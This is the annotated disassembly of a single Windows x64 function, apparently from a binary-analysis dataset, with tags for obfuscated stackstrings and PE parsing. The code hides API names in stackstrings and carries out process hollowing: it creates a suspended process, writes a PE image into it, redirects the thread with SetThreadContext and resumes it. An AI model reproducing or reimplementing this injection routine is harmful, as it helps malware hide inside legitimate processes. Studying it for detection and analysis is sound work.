Function at 0x140016490
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov r13, r8
mov rsi, rdx
mov r15, rcx
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov ebx, 0xffffffff
mov dword [rbp - 0x18], ebx
lea rcx, [rbp - 0x18]
call fcn.140007a30
mov r14d, eax
xor dil, dil
movzx r12d, byte [rbp + 0xc8]
test r12b, r12b
je 0x14001659e
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x1400169a2
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x38], rax
movzx r9d, byte [rbp + 0xc0]
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x40]
mov ecx, r14d
call fcn.140015950
test al, al
je 0x14001657a
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14001657a
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov r14d, 1
mov dword [rsp + 0x20], r14d
lea r9d, [rbx + 3]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14004ea10
test eax, eax
je 0x14001657a
xor r8d, r8d
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.14004eb40
movzx edi, dil
test eax, eax
cmovne edi, r14d
mov rdx, qword [rbp - 0x38]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x140016595
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test dil, dil
je 0x14001697f
mov dword [rsp + 0x64], 0x32336c65
mov word [rsp + 0x61], 0x7265
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x60], 0x4b
mov byte [rsp + 0x63], 0x6e
mov byte [rsp + 0x6c], 0
lea rcx, [rsp + 0x60]
call fcn.140053ec0
mov rbx, rax
test rax, rax
je 0x14001697f
mov dword [rbp - 0x79], 0x6f436461
mov dword [rbp - 0x74], 0x74786574
mov dword [rbp - 0x80], 0x54746553
mov byte [rbp - 0x70], 0
mov word [rbp - 0x7c], 0x7268
mov byte [rbp - 0x7a], 0x65
mov byte [rbp - 0x75], 0x6e
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa090], rax
mov word [rsp + 0x71], 0x7365
mov word [rsp + 0x77], 0x7268
mov word [rsp + 0x74], 0x656d
mov word [rsp + 0x7a], 0x6461
mov byte [rsp + 0x79], 0x65
mov byte [rsp + 0x73], 0x75
mov byte [rsp + 0x70], 0x52
mov byte [rsp + 0x76], 0x54
mov byte [rsp + 0x7c], 0
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa098], rax
mov dword [rbp - 0x5f], 0x636f7250
mov word [rbp - 0x65], 0x696d
mov dword [rbp - 0x5b], 0x737365
mov word [rbp - 0x62], 0x7461
mov word [rbp - 0x67], 0x7265
mov byte [rbp - 0x60], 0x65
mov byte [rbp - 0x63], 0x6e
mov byte [rbp - 0x68], 0x54
lea rdx, [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa0a0], rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140016937
movsxd rdi, dword [r15 + 0x3c]
add rdi, r15
cmp dword [rdi], 0x4550
jne 0x140016937
lea rdx, [rbp + 0xc8]
mov rcx, rsi
call fcn.14004edd0
movzx eax, word [rdi + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x1400166e7
cmp dword [rbp + 0xc8], 0
jmp 0x1400166f8
mov ecx, 0x8664
cmp ax, cx
jne 0x1400166fe
cmp dword [rbp + 0xc8], 6
jne 0x14001697f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
mov qword [rbp + 0x50], rax
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x101
xor r14d, r14d
mov word [rbp + 0x30], r14w
lea rax, [rbp - 0x30]
xor r9d, r9d
test r12b, r12b
je 0x14001678b
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r8, r13
mov rdx, rsi
mov rcx, qword [rbp - 0x48]
call fcn.14004ec50
jmp 0x1400167be
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r14d
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call fcn.140052e70
test eax, eax
je 0x140016946
mov ebx, 4
mov r9d, ebx
lea edx, [rbx + 8]
xor ecx, ecx
mov r8d, 0x1000
call fcn.140051bc0
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x28]
call fcn.14004fd50
mov rcx, qword [rbp - 0x30]
test eax, eax
je 0x14001693e
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r14
lea r9d, [rbx + 4]
lea r8, [rbp - 0x38]
call fcn.14004ff10
lea r12, [rdi + 0x30]
mov rdx, qword [r12]
mov rcx, qword [rbp - 0x38]
mov eax, ecx
cmp rax, rdx
jne 0x140016840
mov rdx, rcx
mov rcx, qword [rbp - 0x30]
call fcn.140052d90
mov rdx, qword [rdi + 0x30]
mov eax, 0x40
cmp byte [rbp + 0xb8], r14b
cmovne ebx, eax
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], ebx
mov r9d, 0x3000
mov rcx, qword [rbp - 0x30]
call fcn.140051ca0
mov r14, rax
mov rcx, qword [rbp - 0x30]
test rax, rax
je 0x14001692f
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], 0
mov r8, r15
mov rdx, rax
call fcn.14004fc50
movzx ebx, word [rdi + 0x14]
add rbx, 0x2c
xor eax, eax
mov esi, eax
cmp ax, word [rdi + 6]
jae 0x1400168e2
add rbx, rdi
xor r12d, r12d
nop word [rax + rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r15
mov edx, dword [rbx - 8]
add rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp - 0x30]
call fcn.14004fc50
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x1400168b0
lea r12, [rdi + 0x30]
xor eax, eax
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp - 0x30]
call fcn.14004fc50
mov eax, dword [rdi + 0x28]
add rax, r14
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rbp - 0x28]
call qword [0x1401aa090]
mov rcx, qword [rbp - 0x28]
call qword [0x1401aa098]
mov bl, 1
xor r14d, r14d
jmp 0x140016948
xor edx, edx
call qword [0x1401aa0a0]
xor bl, bl
xor r14d, r14d
jmp 0x140016948
xor edx, edx
call qword [0x1401aa0a0]
xor bl, bl
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14001695a
call fcn.1400539a0
mov qword [rbp - 0x50], r14
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14001696c
call fcn.1400529f0
mov qword [rbp - 0x48], r14
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14001697a
call fcn.1400529f0
movzx eax, bl
jmp 0x140016981
xor al, al
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004005
call fcn.14001eeb0
int3